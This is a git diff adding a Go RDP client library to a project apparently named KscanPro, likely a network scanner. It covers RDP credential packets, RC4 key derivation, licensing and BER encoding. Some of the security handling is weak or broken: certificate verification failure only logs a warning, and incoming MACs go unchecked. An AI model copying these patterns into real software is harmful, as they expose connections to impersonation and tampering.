+ CbAlternateShell uint16
+ CbWorkingDir uint16
+ Domain []byte
+ UserName []byte
+ Password []byte
+ AlternateShell []byte
+ WorkingDir []byte
+ ExtendedInfo *RDPExtendedInfo
+}
+
+func NewRDPInfo() *RDPInfo {
+ info := &RDPInfo{
+ //Flag: INFO_MOUSE | INFO_UNICODE | INFO_LOGONNOTIFY | INFO_LOGONERRORS | INFO_DISABLECTRLALTDEL | INFO_ENABLEWINDOWSKEY | INFO_FORCE_ENCRYPTED_CS_PDU,
+ Flag: INFO_MOUSE | INFO_UNICODE | INFO_LOGONNOTIFY | INFO_LOGONERRORS | INFO_DISABLECTRLALTDEL | INFO_ENABLEWINDOWSKEY | INFO_AUTOLOGON,
+ Domain: []byte{0, 0},
+ UserName: []byte{0, 0},
+ Password: []byte{0, 0},
+ AlternateShell: []byte{0, 0},
+ WorkingDir: []byte{0, 0},
+ ExtendedInfo: NewExtendedInfo(nil),
+ }
+ return info
+}
+
+func (o *RDPInfo) SetClientAutoReconnect(auto *ClientAutoReconnect) {
+ o.ExtendedInfo.AutoReconnect = auto
+}
+
+func (o *RDPInfo) Serialize(hasExtended bool) []byte {
+ buff := &bytes.Buffer{}
+ core.WriteUInt32LE(o.CodePage, buff) // 0000000
+ core.WriteUInt32LE(o.Flag, buff) // 0530101
+ core.WriteUInt16LE(uint16(len(o.Domain)-2), buff) // 001c
+ core.WriteUInt16LE(uint16(len(o.UserName)-2), buff) // 0008
+ core.WriteUInt16LE(uint16(len(o.Password)-2), buff) //000c
+ core.WriteUInt16LE(uint16(len(o.AlternateShell)-2), buff) //0000
+ core.WriteUInt16LE(uint16(len(o.WorkingDir)-2), buff) //0000
+ core.WriteBytes(o.Domain, buff)
+ core.WriteBytes(o.UserName, buff)
+ core.WriteBytes(o.Password, buff)
+ core.WriteBytes(o.AlternateShell, buff)
+ core.WriteBytes(o.WorkingDir, buff)
+ if hasExtended {
+ core.WriteBytes(o.ExtendedInfo.Serialize(), buff)
+ }
+ return buff.Bytes()
+}
+
+type SecurityHeader struct {
+ securityFlag uint16
+ securityFlagHi uint16
+}
+
+func readSecurityHeader(r io.Reader) *SecurityHeader {
+ s := &SecurityHeader{}
+ s.securityFlag, _ = core.ReadUint16LE(r)
+ s.securityFlagHi, _ = core.ReadUint16LE(r)
+ return s
+}
+
+type SEC struct {
+ emission.Emitter
+ transport core.Transport
+ info *RDPInfo
+ machineName string
+ clientData []interface{}
+ serverData []interface{}
+
+ enableEncryption bool
+ //Enable Secure Mac generation
+ enableSecureCheckSum bool
+ //counter before update
+ nbEncryptedPacket int
+ nbDecryptedPacket int
+
+ currentDecrytKey []byte
+ currentEncryptKey []byte
+
+ //current rc4 tab
+ decryptRc4 *rc4.Cipher
+ encryptRc4 *rc4.Cipher
+
+ macKey []byte
+}
+
+func NewSEC(t core.Transport) *SEC {
+ sec := &SEC{
+ *emission.NewEmitter(),
+ t,
+ NewRDPInfo(),
+ "",
+ nil,
+ nil,
+ false,
+ false,
+ 0,
+ 0,
+ nil,
+ nil,
+ nil,
+ nil,
+ nil,
+ }
+
+ t.On("close", func() {
+ sec.Emit("close")
+ }).On("error", func(err error) {
+ sec.Emit("error", err)
+ })
+ return sec
+}
+
+func (s *SEC) Read(data []byte) (n int, err error) {
+ return s.transport.Read(data)
+}
+
+func (s *SEC) Write(b []byte) (n int, err error) {
+ if !s.enableEncryption {
+ return s.transport.Write(b)
+ }
+
+ var flag uint16 = ENCRYPT
+ if s.enableSecureCheckSum {
+ flag |= SECURE_CHECKSUM
+ }
+
+ return s.sendFlagged(flag, b)
+}
+
+func (s *SEC) Close() error {
+ return s.transport.Close()
+}
+
+func (s *SEC) sendFlagged(flag uint16, data []byte) (n int, err error) {
+ glog.Debug("sendFlagged:", hex.EncodeToString(data))
+
+ if flag&ENCRYPT != 0 {
+ data = s.writeEncryptedPayload(data, flag&SECURE_CHECKSUM != 0)
+ }
+
+ buff := &bytes.Buffer{}
+ core.WriteUInt16LE(flag, buff)
+ core.WriteUInt16LE(0, buff)
+ core.WriteBytes(data, buff)
+
+ glog.Debug("sendFlagged end:", hex.EncodeToString(buff.Bytes()))
+
+ return s.transport.Write(buff.Bytes())
+}
+
+/*
+@see: http://msdn.microsoft.com/en-us/library/cc241995.aspx
+@param macSaltKey: {str} mac key
+@param data: {str} data to sign
+@return: {str} signature
+*/
+func macData(macSaltKey, data []byte) []byte {
+ sha1Digest := sha1.New()
+ md5Digest := md5.New()
+
+ b := &bytes.Buffer{}
+ core.WriteUInt32LE(uint32(len(data)), b)
+
+ sha1Digest.Write(macSaltKey)
+ for i := 0; i < 40; i++ {
+ sha1Digest.Write([]byte("\x36"))
+ }
+
+ sha1Digest.Write(b.Bytes())
+ sha1Digest.Write(data)
+
+ sha1Sig := sha1Digest.Sum(nil)
+
+ md5Digest.Write(macSaltKey)
+ for i := 0; i < 48; i++ {
+ md5Digest.Write([]byte("\x5c"))
+ }
+
+ md5Digest.Write(sha1Sig)
+
+ return md5Digest.Sum(nil)
+}
+func (s *SEC) readEncryptedPayload(data []byte, checkSum bool) []byte {
+ r := bytes.NewReader(data)
+ sign, _ := core.ReadBytes(8, r)
+ glog.Info("read sign:", sign)
+ encryptedPayload, _ := core.ReadBytes(r.Len(), r)
+ if s.decryptRc4 == nil {
+ s.decryptRc4, _ = rc4.NewCipher(s.currentDecrytKey)
+ }
+ s.nbDecryptedPacket++
+ glog.Info("nbDecryptedPacket:", s.nbDecryptedPacket)
+ plaintext := make([]byte, len(encryptedPayload))
+ s.decryptRc4.XORKeyStream(plaintext, encryptedPayload)
+
+ return plaintext
+
+}
+func (s *SEC) writeEncryptedPayload(data []byte, checkSum bool) []byte {
+ defer func() {
+ if e := recover(); e != nil {
+ err := errors.New(fmt.Sprint("write encrypted payload error: ", e))
+ glog.Debug(err, e)
+ return
+ }
+ }()
+
+ if s.nbEncryptedPacket == 4096 {
+
+ }
+
+ if checkSum {
+ return []byte{}
+ }
+
+ s.nbEncryptedPacket++
+ glog.Info("nbEncryptedPacket:", s.nbEncryptedPacket)
+ b := &bytes.Buffer{}
+
+ sign := macData(s.macKey, data)[:8]
+ if s.encryptRc4 == nil {
+ s.encryptRc4, _ = rc4.NewCipher(s.currentEncryptKey)
+ }
+
+ plaintext := make([]byte, len(data))
+ s.encryptRc4.XORKeyStream(plaintext, data)
+ b.Write(sign)
+ b.Write(plaintext)
+ glog.Debug("sign:", hex.EncodeToString(sign), "plaintext:", hex.EncodeToString(plaintext))
+ return b.Bytes()
+}
+
+type Client struct {
+ *SEC
+ userId uint16
+ channelId uint16
+ //initialise decrypt and encrypt keys
+ initialDecrytKey []byte
+ initialEncryptKey []byte
+
+ fastPathListener core.FastPathListener
+}
+
+func NewClient(t core.Transport) *Client {
+ c := &Client{
+ SEC: NewSEC(t),
+ }
+ t.On("connect", c.connect)
+ return c
+}
+
+func (c *Client) SetClientAutoReconnect(id uint32, random []byte) {
+ auto := NewClientAutoReconnect(id, random)
+ c.info.SetClientAutoReconnect(auto)
+}
+
+func (c *Client) SetAlternateShell(shell string) {
+ buff := &bytes.Buffer{}
+ for _, ch := range utf16.Encode([]rune(shell)) {
+ core.WriteUInt16LE(ch, buff)
+ }
+ core.WriteUInt16LE(0, buff)
+ c.info.AlternateShell = buff.Bytes()
+}
+
+func (c *Client) SetUser(user string) {
+ buff := &bytes.Buffer{}
+ for _, ch := range utf16.Encode([]rune(user)) {
+ core.WriteUInt16LE(ch, buff)
+ }
+ core.WriteUInt16LE(0, buff)
+ c.info.UserName = buff.Bytes()
+}
+
+func (c *Client) SetPwd(pwd string) {
+ buff := &bytes.Buffer{}
+ for _, ch := range utf16.Encode([]rune(pwd)) {
+ core.WriteUInt16LE(ch, buff)
+ }
+ core.WriteUInt16LE(0, buff)
+ c.info.Password = buff.Bytes()
+}
+
+func (c *Client) SetDomain(domain string) {
+ buff := &bytes.Buffer{}
+ for _, ch := range utf16.Encode([]rune(domain)) {
+ core.WriteUInt16LE(ch, buff)
+ }
+ core.WriteUInt16LE(0, buff)
+ c.info.Domain = buff.Bytes()
+}
+
+func (c *Client) connect(clientData []interface{}, serverData []interface{}, userId uint16, channels []t125.MCSChannelInfo) {
+ glog.Debug("sec on connect:", clientData)
+ glog.Debug("sec on connect:", serverData)
+ glog.Debug("sec on connect:", userId)
+ glog.Debug("sec on connect:", channels)
+ glog.Debug("clientData:", clientData)
+ glog.Debug("serverData:", serverData)
+ c.clientData = clientData
+ c.serverData = serverData
+ c.userId = userId
+ for _, channel := range channels {
+ glog.Debug("channel:", channel.Name, channel.ID)
+ if channel.Name == "global" {
+ c.channelId = channel.ID
+ break
+ }
+ }
+ c.enableEncryption = c.ClientCoreData().ServerSelectedProtocol == 0
+
+ if c.enableEncryption {
+ c.sendClientRandom()
+ }
+
+ c.sendInfoPkt()
+ c.transport.Once("global", c.recvLicenceInfo)
+}
+
+func (c *Client) ClientCoreData() *gcc.ClientCoreData {
+ return c.clientData[0].(*gcc.ClientCoreData)
+}
+func (c *Client) ClientSecurityData() *gcc.ClientSecurityData {
+ return c.clientData[1].(*gcc.ClientSecurityData)
+}
+func (c *Client) ClientNetworkData() *gcc.ClientNetworkData {
+ return c.clientData[2].(*gcc.ClientNetworkData)
+}
+
+func (c *Client) serverCoreData() *gcc.ServerCoreData {
+ return c.serverData[0].(*gcc.ServerCoreData)
+}
+func (c *Client) ServerSecurityData() *gcc.ServerSecurityData {
+ return c.serverData[1].(*gcc.ServerSecurityData)
+}
+
+/*
+@summary: generate 40 bits data from 128 bits data
+@param data: {str} 128 bits data
+@return: {str} 40 bits data
+@see: http://msdn.microsoft.com/en-us/library/cc240785.aspx
+*/
+//func gen40bits(data string)string{
+// return "\xd1\x26\x9e" + data[:8][-5:]
+//}
+/*
+@summary: generate 56 bits data from 128 bits data
+@param data: {str} 128 bits data
+@return: {str} 56 bits data
+@see: http://msdn.microsoft.com/en-us/library/cc240785.aspx
+*/
+//func gen56bits(data string) string{
+// return "\xd1" + data[:8][-7:]
+//}
+/*
+ @summary: Generate particular signature from combination of sha1 and md5
+ @see: http://msdn.microsoft.com/en-us/library/cc241992.aspx
+ @param inputData: strange input (see doc)
+ @param salt: salt for context call
+ @param salt1: another salt (ex : client random)
+ @param salt2: another another salt (ex: server random)
+ @return : MD5(Salt + SHA1(Input + Salt + Salt1 + Salt2))
+*/
+func saltedHash(inputData, salt, salt1, salt2 []byte) []byte {
+ sha1Digest := sha1.New()
+ md5Digest := md5.New()
+
+ sha1Digest.Write(inputData)
+ sha1Digest.Write(salt[:48])
+ sha1Digest.Write(salt1)
+ sha1Digest.Write(salt2)
+ sha1Sig := sha1Digest.Sum(nil)
+
+ md5Digest.Write(salt[:48])
+ md5Digest.Write(sha1Sig)
+
+ return md5Digest.Sum(nil)[:16]
+}
+
+/*
+@summary: MD5(in0[:16] + in1[:32] + in2[:32])
+@param key: in 16
+@param random1: in 32
+@param random2: in 32
+@return MD5(in0[:16] + in1[:32] + in2[:32])
+*/
+func finalHash(key, random1, random2 []byte) []byte {
+ md5Digest := md5.New()
+ md5Digest.Write(key)
+ md5Digest.Write(random1)
+ md5Digest.Write(random2)
+ return md5Digest.Sum(nil)
+}
+
+/*
+@summary: Generate master secret
+@param secret: {str} secret
+@param clientRandom : {str} client random
+@param serverRandom : {str} server random
+@see: http://msdn.microsoft.com/en-us/library/cc241992.aspx
+*/
+func masterSecret(secret, random1, random2 []byte) []byte {
+ sh1 := saltedHash([]byte("A"), secret, random1, random2)
+ sh2 := saltedHash([]byte("BB"), secret, random1, random2)
+ sh3 := saltedHash([]byte("CCC"), secret, random1, random2)
+ ms := bytes.NewBuffer(nil)
+ ms.Write(sh1)
+ ms.Write(sh2)
+ ms.Write(sh3)
+ return ms.Bytes()
+}
+
+/*
+@summary: Generate master secret
+@param secret: secret
+@param clientRandom : client random
+@param serverRandom : server random
+*/
+func sessionKeyBlob(secret, random1, random2 []byte) []byte {
+ sh1 := saltedHash([]byte("X"), secret, random1, random2)
+ sh2 := saltedHash([]byte("YY"), secret, random1, random2)
+ sh3 := saltedHash([]byte("ZZZ"), secret, random1, random2)
+ ms := bytes.NewBuffer(nil)
+ ms.Write(sh1)
+ ms.Write(sh2)
+ ms.Write(sh3)
+ return ms.Bytes()
+
+}
+func generateKeys(clientRandom, serverRandom []byte, method uint32) ([]byte, []byte, []byte) {
+ b := &bytes.Buffer{}
+ b.Write(clientRandom[:24])
+ b.Write(serverRandom[:24])
+ preMasterHash := b.Bytes()
+ glog.Info("preMasterHash:", string(preMasterHash))
+
+ masterHash := masterSecret(preMasterHash, clientRandom, serverRandom)
+ glog.Info("masterHash:", hex.EncodeToString(masterHash))
+
+ sessionKey := sessionKeyBlob(masterHash, clientRandom, serverRandom)
+ glog.Info("sessionKey:", hex.EncodeToString(sessionKey))
+
+ macKey128 := sessionKey[:16]
+ initialFirstKey128 := finalHash(sessionKey[16:32], clientRandom, serverRandom)
+ initialSecondKey128 := finalHash(sessionKey[32:48], clientRandom, serverRandom)
+
+ glog.Debug("macKey128:", hex.EncodeToString(macKey128))
+ glog.Debug("FirstKey128:", hex.EncodeToString(initialFirstKey128))
+ glog.Debug("SecondKey128:", hex.EncodeToString(initialSecondKey128))
+ //generate valid key
+ if method == gcc.ENCRYPTION_FLAG_40BIT {
+ //return gen40bits(macKey128), gen40bits(initialFirstKey128), gen40bits(initialSecondKey128)
+ } else if method == gcc.ENCRYPTION_FLAG_56BIT {
+ //return gen56bits(macKey128), gen56bits(initialFirstKey128), gen56bits(initialSecondKey128)
+ } //else if method == gcc.ENCRYPTION_FLAG_128BIT{
+ return macKey128, initialFirstKey128, initialSecondKey128
+ //}
+}
+
+type ClientSecurityExchangePDU struct {
+ Length uint32 `struc:"little"`
+ EncryptedClientRandom []byte `struc:"little"`
+ Padding []byte `struc:"[8]byte"`
+}
+
+func (e *ClientSecurityExchangePDU) serialize() []byte {
+ buff := &bytes.Buffer{}
+ core.WriteUInt32LE(e.Length, buff)
+ core.WriteBytes(e.EncryptedClientRandom, buff)
+ core.WriteBytes(e.Padding, buff)
+
+ return buff.Bytes()
+}
+func (c *Client) sendClientRandom() {
+ defer func() {
+ if e := recover(); e != nil {
+ err := errors.New(fmt.Sprint("send client random error: ", e))
+ glog.Debug(err, e)
+ _ = c.Close()
+ return
+ }
+ }()
+
+ glog.Info("send Client Random")
+
+ clientRandom := core.Random(32)
+ glog.Info("clientRandom:", string(clientRandom))
+
+ serverRandom := c.ServerSecurityData().ServerRandom
+ glog.Info("ServerRandom:", string(serverRandom))
+
+ c.macKey, c.initialDecrytKey, c.initialEncryptKey = generateKeys(clientRandom,
+ serverRandom, c.ServerSecurityData().EncryptionMethod)
+
+ //initialize keys
+ c.currentDecrytKey = c.initialDecrytKey
+ c.currentEncryptKey = c.initialEncryptKey
+
+ //verify certificate
+ if !c.ServerSecurityData().ServerCertificate.CertData.Verify() {
+ glog.Warn("Cannot verify server identity")
+ }
+
+ ePublicKey, mPublicKey := c.ServerSecurityData().ServerCertificate.CertData.GetPublicKey()
+ b := new(big.Int).SetBytes(core.Reverse(mPublicKey))
+ e := new(big.Int).SetInt64(int64(ePublicKey))
+ d := new(big.Int).SetBytes(core.Reverse(clientRandom))
+ r := new(big.Int).Exp(d, e, b)
+ var ret []byte
+ if len(b.Bytes()) > 0 {
+ if len(r.Bytes()) < len(b.Bytes()) {
+ ret = r.Bytes()[:len(r.Bytes())]
+ } else {
+ ret = r.Bytes()[:len(b.Bytes())]
+ }
+ } else {
+ ln := len(r.Bytes())
+ if ln < 1 {
+ ln = 1
+ }
+ ret = r.Bytes()[:ln]
+ }
+ message := ClientSecurityExchangePDU{}
+ message.EncryptedClientRandom = core.Reverse(ret)
+ message.Length = uint32(len(message.EncryptedClientRandom) + 8)
+ message.Padding = make([]byte, 8)
+
+ glog.Debug("message:", message)
+
+ c.sendFlagged(EXCHANGE_PKT, message.serialize())
+}
+func (c *Client) sendInfoPkt() {
+ var secFlag uint16 = INFO_PKT
+ if c.enableEncryption {
+ secFlag |= ENCRYPT
+ }
+
+ glog.Debug("RdpVersion:", c.ClientCoreData().RdpVersion, ":", gcc.RDP_VERSION_5_PLUS)
+ c.sendFlagged(secFlag, c.info.Serialize(c.ClientCoreData().RdpVersion == gcc.RDP_VERSION_5_PLUS))
+}
+
+func (c *Client) recvLicenceInfo(s []byte) {
+ glog.Debug("sec recvLicenceInfo", hex.EncodeToString(s))
+ r := bytes.NewReader(s)
+ h := readSecurityHeader(r)
+ if (h.securityFlag & LICENSE_PKT) == 0 {
+ c.Emit("error", errors.New("NODE_RDP_PROTOCOL_PDU_SEC_BAD_LICENSE_HEADER"))
+ return
+ }
+
+ p := lic.ReadLicensePacket(r)
+ switch p.BMsgtype {
+ case lic.NEW_LICENSE:
+ glog.Info("sec NEW_LICENSE")
+ c.Emit("success")
+ goto connect
+ case lic.ERROR_ALERT:
+ message := p.LicensingMessage.(*lic.ErrorMessage)
+ glog.Info("sec ERROR_ALERT and ErrorCode:", message.DwErrorCode)
+ if message.DwErrorCode == lic.STATUS_VALID_CLIENT && message.DwStateTransaction == lic.ST_NO_TRANSITION {
+ goto connect
+ }
+ goto retry
+ case lic.LICENSE_REQUEST:
+ glog.Info("sec LICENSE_REQUEST")
+ c.sendClientNewLicenseRequest(p.LicensingMessage.([]byte))
+ goto retry
+ case lic.PLATFORM_CHALLENGE:
+ glog.Info("sec PLATFORM_CHALLENGE")
+ c.sendClientChallengeResponse(p.LicensingMessage.([]byte))
+ goto retry
+ default:
+ glog.Error("Not a valid license packet")
+ c.Emit("error", errors.New("Not a valid license packet"))
+ return
+ }
+
+connect:
+ c.transport.On("global", c.recvData)
+ //c.Emit("connect", c.clientData[0].(*gcc.ClientCoreData), c.serverData[0].(*gcc.ServerCoreData), c.userId, c.channelId)
+ c.Emit("connect", c.clientData[0].(*gcc.ClientCoreData), c.userId, c.channelId)
+ return
+
+retry:
+ c.transport.Once("global", c.recvLicenceInfo)
+ return
+}
+
+func (c *Client) sendClientNewLicenseRequest(data []byte) {
+ var req lic.ServerLicenseRequest
+ struc.Unpack(bytes.NewReader(data), &req)
+
+ var sc gcc.ServerCertificate
+ if c.ServerSecurityData().ServerCertificate.DwVersion != 0 {
+ sc = c.ServerSecurityData().ServerCertificate
+ } else {
+ rd := bytes.NewReader(req.ServerCertificate.BlobData)
+ //err := sc.Unpack(rd)
+ err := struc.Unpack(rd, &req)
+ if err != nil {
+ glog.Error(err)
+ return
+ }
+ }
+
+ serverRandom := req.ServerRandom
+ clientRandom := core.Random(32)
+ preMasterSecret := core.Random(48)
+ masSecret := masterSecret(preMasterSecret, clientRandom, serverRandom)
+ sessionKeyBlob := masterSecret(masSecret, serverRandom, clientRandom)
+ c.macKey = sessionKeyBlob[:16]
+ c.initialDecrytKey = finalHash(sessionKeyBlob[16:32], clientRandom, serverRandom)
+
+ //format message
+ message := &lic.ClientNewLicenseRequest{}
+ message.ClientRandom = clientRandom
+
+ buff := &bytes.Buffer{}
+
+ ePublicKey, mPublicKey := sc.CertData.GetPublicKey()
+ b := new(big.Int).SetBytes(core.Reverse(mPublicKey))
+ e := new(big.Int).SetInt64(int64(ePublicKey))
+ d := new(big.Int).SetBytes(core.Reverse(clientRandom))
+ r := new(big.Int).Exp(d, e, b)
+ var ret []byte
+ if len(b.Bytes()) > 0 {
+ ret = r.Bytes()[:len(b.Bytes())]
+ } else {
+ ln := len(r.Bytes())
+ if ln < 1 {
+ ln = 1
+ }
+ ret = r.Bytes()[:ln]
+ }
+ buff.Write(core.Reverse(ret))
+ buff.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00})
+ message.EncryptedPreMasterSecret.BlobData = buff.Bytes()
+
+ buff.Reset()
+ buff.Write(c.ClientCoreData().ClientName[:])
+ buff.Write([]byte{0x00})
+ message.ClientMachineName.BlobData = buff.Bytes()
+
+ buff.Reset()
+ buff.Write(c.info.UserName)
+ buff.Write([]byte{0x00})
+ message.ClientUserName.BlobData = buff.Bytes()
+
+ buff.Reset()
+ struc.Pack(buff, message)
+
+ c.sendFlagged(LICENSE_PKT, b.Bytes())
+
+}
+
+func (c *Client) sendClientChallengeResponse(data []byte) {
+ var pc lic.ServerPlatformChallenge
+ struc.Unpack(bytes.NewReader(data), &pc)
+
+ serverEncryptedChallenge := pc.EncryptedPlatformChallenge.BlobData
+ //decrypt server challenge
+ //it should be TEST word in unicode format
+ rc, _ := rc4.NewCipher(c.initialDecrytKey)
+ serverChallenge := make([]byte, 20)
+ rc.XORKeyStream(serverChallenge, serverEncryptedChallenge)
+ //if serverChallenge != "T\x00E\x00S\x00T\x00\x00\x00":
+ //raise InvalidExpectedDataException("bad license server challenge")
+
+ //generate hwid
+ b := &bytes.Buffer{}
+ b.Write(c.ClientCoreData().ClientName[:])
+ b.Write(c.info.UserName)
+ for i := 0; i < 2; i++ {
+ b.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00})
+ }
+ hwid := b.Bytes()[:20]
+
+ encryptedHWID := make([]byte, 20)
+ rc.XORKeyStream(encryptedHWID, hwid)
+
+ b.Reset()
+ b.Write(serverChallenge)
+ b.Write(hwid)
+
+ message := &lic.ClientPLatformChallengeResponse{}
+ message.EncryptedPlatformChallengeResponse.BlobData = serverEncryptedChallenge
+ message.EncryptedHWID.BlobData = encryptedHWID
+ message.MACData = macData(c.macKey, b.Bytes())[:16]
+
+ b.Reset()
+ struc.Pack(b, message)
+ c.sendFlagged(LICENSE_PKT, b.Bytes())
+}
+
+func (c *Client) recvData(s []byte) {
+ glog.Debug("sec recvData", hex.EncodeToString(s))
+ if !c.enableEncryption {
+ c.Emit("data", s)
+ return
+ }
+
+ r := bytes.NewReader(s)
+ securityFlag, _ := core.ReadUint16LE(r)
+ _, _ = core.ReadUint16LE(r) //securityFlagHi
+ s1, _ := core.ReadBytes(r.Len(), r)
+ if securityFlag&ENCRYPT != 0 {
+ data := c.readEncryptedPayload(s1, securityFlag&SECURE_CHECKSUM != 0)
+ c.Emit("data", data)
+ }
+}
+func (c *Client) SetFastPathListener(f core.FastPathListener) {
+ c.fastPathListener = f
+}
+
+func (c *Client) RecvFastPath(secFlag byte, s []byte) {
+ data := s
+ if c.enableEncryption && secFlag&FASTPATH_OUTPUT_ENCRYPTED != 0 {
+ data = c.readEncryptedPayload(s, secFlag&FASTPATH_OUTPUT_SECURE_CHECKSUM != 0)
+ }
+ c.fastPathListener.RecvFastPath(secFlag, data)
+}
diff --git a/lib/grdp/protocol/t125/ber/ber.go b/lib/grdp/protocol/t125/ber/ber.go
new file mode 100644
index 0000000..8dcdf3e
--- /dev/null
+++ b/lib/grdp/protocol/t125/ber/ber.go
@@ -0,0 +1,189 @@
+package ber
+
+import (
+ "errors"
+ "fmt"
+ "io"
+
+ "KscanPro/lib/grdp/core"
+)
+
+const (
+ CLASS_MASK uint8 = 0xC0
+ CLASS_UNIV = 0x00
+ CLASS_APPL = 0x40
+ CLASS_CTXT = 0x80
+ CLASS_PRIV = 0xC0
+)
+
+const (
+ PC_MASK uint8 = 0x20
+ PC_PRIMITIVE = 0x00
+ PC_CONSTRUCT = 0x20
+)
+
+const (
+ TAG_MASK uint8 = 0x1F
+ TAG_BOOLEAN = 0x01
+ TAG_INTEGER = 0x02
+ TAG_BIT_STRING = 0x03
+ TAG_OCTET_STRING = 0x04
+ TAG_OBJECT_IDENFIER = 0x06
+ TAG_ENUMERATED = 0x0A
+ TAG_SEQUENCE = 0x10
+ TAG_SEQUENCE_OF = 0x10
+)
+
+func berPC(pc bool) uint8 {
+ if pc {
+ return PC_CONSTRUCT
+ }
+ return PC_PRIMITIVE
+}
+
+func ReadEnumerated(r io.Reader) (uint8, error) {
+ if !ReadUniversalTag(TAG_ENUMERATED, false, r) {
+ return 0, errors.New("invalid ber tag")
+ }
+ length, err := ReadLength(r)
+ if err != nil {
+ return 0, err
+ }
+ if length != 1 {
+ return 0, errors.New(fmt.Sprintf("enumerate size is wrong, get %v, expect 1", length))
+ }
+ return core.ReadUInt8(r)
+}
+
+func ReadUniversalTag(tag uint8, pc bool, r io.Reader) bool {
+ bb, _ := core.ReadUInt8(r)
+ return bb == (CLASS_UNIV|berPC(pc))|(TAG_MASK&tag)
+}
+
+func WriteUniversalTag(tag uint8, pc bool, w io.Writer) {
+ core.WriteUInt8((CLASS_UNIV|berPC(pc))|(TAG_MASK&tag), w)
+}
+
+func ReadLength(r io.Reader) (int, error) {
+ ret := 0
+ size, _ := core.ReadUInt8(r)
+ if size&0x80 > 0 {
+ size = size &^ 0x80
+ if size == 1 {
+ r, err := core.ReadUInt8(r)
+ if err != nil {
+ return 0, err
+ }
+ ret = int(r)
+ } else if size == 2 {
+ r, err := core.ReadUint16BE(r)
+ if err != nil {
+ return 0, err
+ }
+ ret = int(r)
+ } else {
+ return 0, errors.New("BER length may be 1 or 2")
+ }
+ } else {
+ ret = int(size)
+ }
+ return ret, nil
+}
+
+func WriteLength(size int, w io.Writer) {
+ if size > 0x7f {
+ core.WriteUInt8(0x82, w)
+ core.WriteUInt16BE(uint16(size), w)
+ } else {
+ core.WriteUInt8(uint8(size), w)
+ }
+}
+
+func ReadInteger(r io.Reader) (int, error) {
+ if !ReadUniversalTag(TAG_INTEGER, false, r) {
+ return 0, errors.New("Bad integer tag")
+ }
+ size, _ := ReadLength(r)
+ switch size {
+ case 1:
+ num, _ := core.ReadUInt8(r)
+ return int(num), nil
+ case 2:
+ num, _ := core.ReadUint16BE(r)
+ return int(num), nil
+ case 3:
+ integer1, _ := core.ReadUInt8(r)
+ integer2, _ := core.ReadUint16BE(r)
+ return int(integer2) + int(integer1<<16), nil
+ case 4:
+ num, _ := core.ReadUInt32BE(r)
+ return int(num), nil
+ default:
+ return 0, errors.New("wrong size")
+ }
+}
+
+func WriteInteger(n int, w io.Writer) {
+ WriteUniversalTag(TAG_INTEGER, false, w)
+ if n <= 0xff {
+ WriteLength(1, w)
+ core.WriteUInt8(uint8(n), w)
+ } else if n <= 0xffff {
+ WriteLength(2, w)
+ core.WriteUInt16BE(uint16(n), w)
+ } else {
+ WriteLength(4, w)
+ core.WriteUInt32BE(uint32(n), w)
+ }
+}
+
+func WriteOctetstring(str string, w io.Writer) {
+ WriteUniversalTag(TAG_OCTET_STRING, false, w)
+ WriteLength(len(str), w)
+ core.WriteBytes([]byte(str), w)
+}
+
+func WriteBoolean(b bool, w io.Writer) {
+ bb := uint8(0)
+ if b {
+ bb = uint8(0xff)
+ }
+ WriteUniversalTag(TAG_BOOLEAN, false, w)
+ WriteLength(1, w)
+ core.WriteUInt8(bb, w)
+}
+
+func ReadApplicationTag(tag uint8, r io.Reader) (int, error) {
+ bb, _ := core.ReadUInt8(r)
+ if tag > 30 {
+ if bb != (CLASS_APPL|PC_CONSTRUCT)|TAG_MASK {
+ return 0, errors.New("ReadApplicationTag invalid data")
+ }
+ bb, _ := core.ReadUInt8(r)
+ if bb != tag {
+ return 0, errors.New("ReadApplicationTag bad tag")
+ }
+ } else {
+ if bb != (CLASS_APPL|PC_CONSTRUCT)|(TAG_MASK&tag) {
+ return 0, errors.New("ReadApplicationTag invalid data2")
+ }
+ }
+ return ReadLength(r)
+}
+
+func WriteApplicationTag(tag uint8, size int, w io.Writer) {
+ if tag > 30 {
+ core.WriteUInt8((CLASS_APPL|PC_CONSTRUCT)|TAG_MASK, w)
+ core.WriteUInt8(tag, w)
+ WriteLength(size, w)
+ } else {
+ core.WriteUInt8((CLASS_APPL|PC_CONSTRUCT)|(TAG_MASK&tag), w)
+ WriteLength(size, w)
+ }
+}
+
+func WriteEncodedDomainParams(data []byte, w io.Writer) {
+ WriteUniversalTag(TAG_SEQUENCE, true, w)
+ WriteLength(len(data), w)
+ core.WriteBytes(data, w)
+}
diff --git a/lib/grdp/protocol/t125/gcc/gcc.go b/lib/grdp/protocol/t125/gcc/gcc.go
new file mode 100644
index 0000000..e93b0e3
--- /dev/null
+++ b/lib/grdp/protocol/t125/gcc/gcc.go
@@ -0,0 +1,568 @@
+package gcc
+
+import (
+ "bytes"
+ "errors"
+ "io"
+ "os"
+
+ "KscanPro/lib/grdp/glog"
+
+ "KscanPro/lib/grdp/core"
+ "KscanPro/lib/grdp/protocol/t125/per"
+ "github.com/lunixbochs/struc"
+)
+
+var t124_02_98_oid = []byte{0, 0, 20, 124, 0, 1}
+var h221_cs_key = "Duca"
+var h221_sc_key = "McDn"
+
+/**
+ * @see http://msdn.microsoft.com/en-us/library/cc240509.aspx
+ */
+type Message uint16
+
+const (
+ //server -> client
+ SC_CORE Message = 0x0C01
+ SC_SECURITY = 0x0C02
+ SC_NET = 0x0C03
+ //client -> server
+ CS_CORE = 0xC001
+ CS_SECURITY = 0xC002
+ CS_NET = 0xC003
+ CS_CLUSTER = 0xC004
+ CS_MONITOR = 0xC005
+)
+
+/**
+ * @see http://msdn.microsoft.com/en-us/library/cc240510.aspx
+ */
+type ColorDepth uint16
+
+const (
+ RNS_UD_COLOR_8BPP ColorDepth = 0xCA01
+ RNS_UD_COLOR_16BPP_555 = 0xCA02
+ RNS_UD_COLOR_16BPP_565 = 0xCA03
+ RNS_UD_COLOR_24BPP = 0xCA04
+)
+
+/**
+ * @see http://msdn.microsoft.com/en-us/library/cc240510.aspx
+ */
+type HighColor uint16
+
+const (
+ HIGH_COLOR_4BPP HighColor = 0x0004
+ HIGH_COLOR_8BPP = 0x0008
+ HIGH_COLOR_15BPP = 0x000f
+ HIGH_COLOR_16BPP = 0x0010
+ HIGH_COLOR_24BPP = 0x0018
+)
+
+/**
+ * @see http://msdn.microsoft.com/en-us/library/cc240510.aspx
+ */
+type Support uint16
+
+const (
